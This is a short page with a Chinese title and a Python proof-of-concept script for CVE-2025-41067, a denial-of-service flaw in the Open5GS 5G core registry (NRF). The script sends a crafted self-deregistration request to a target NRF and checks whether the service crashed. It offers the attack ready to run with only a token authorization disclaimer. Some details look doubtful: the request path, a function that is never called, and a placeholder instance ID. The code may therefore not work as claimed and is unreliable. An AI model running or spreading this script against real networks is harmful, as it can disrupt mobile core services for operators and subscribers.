CVE-2025-41067 Open5GS NRF可达性断言拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-41067 PoC - Open5GS NRF Reachable Assertion DoS This PoC demonstrates the NRF self-deregistration vulnerability. Note: For authorized testing only. """ import requests import json import sys # Configuration NRF_BASE_URL = "http://target-nrf:7777" # Update target URL SBI_HEADERS = { "Content-Type": "application/json", "Accept": "application/json", } def get_nrf_subscription(): """Discover NRF subscription callback URI""" # Query NRF for subscription callback response = requests.get( f"{NRF_BASE_URL}/nnrf-nfm/v1/subscriptions", headers=SBI_HEADERS, timeout=10 ) return response def delete_nrf_self_registration(): """Delete NRF's own registry - triggers assertion failure""" # Construct malicious deregistration request targeting NRF itself # The vulnerability exists when NRF processes its own deregistration deregister_payload = { "nfInstanceId": "nrf-instance-id", # NRF's own instance ID "reason": "SERVICE_ERROR" } response = requests.post( f"{NRF_BASE_URL}/nnrf-nfm/v1/deregistrations", headers=SBI_HEADERS, json=deregister_payload, timeout=10 ) return response def main(): print("[*] CVE-2025-41067 PoC for Open5GS NRF DoS") print("[*] Target:", NRF_BASE_URL) print("\n[1] Sending NRF self-deregistration request...") try: response = delete_nrf_self_registration() print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code in [204, 200, 400]: print("[!] Request sent - NRF may crash if vulnerable") else: print("[*] Unexpected response - target may be patched or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] NRF may have crashed or is unreachable") if __name__ == "__main__": main()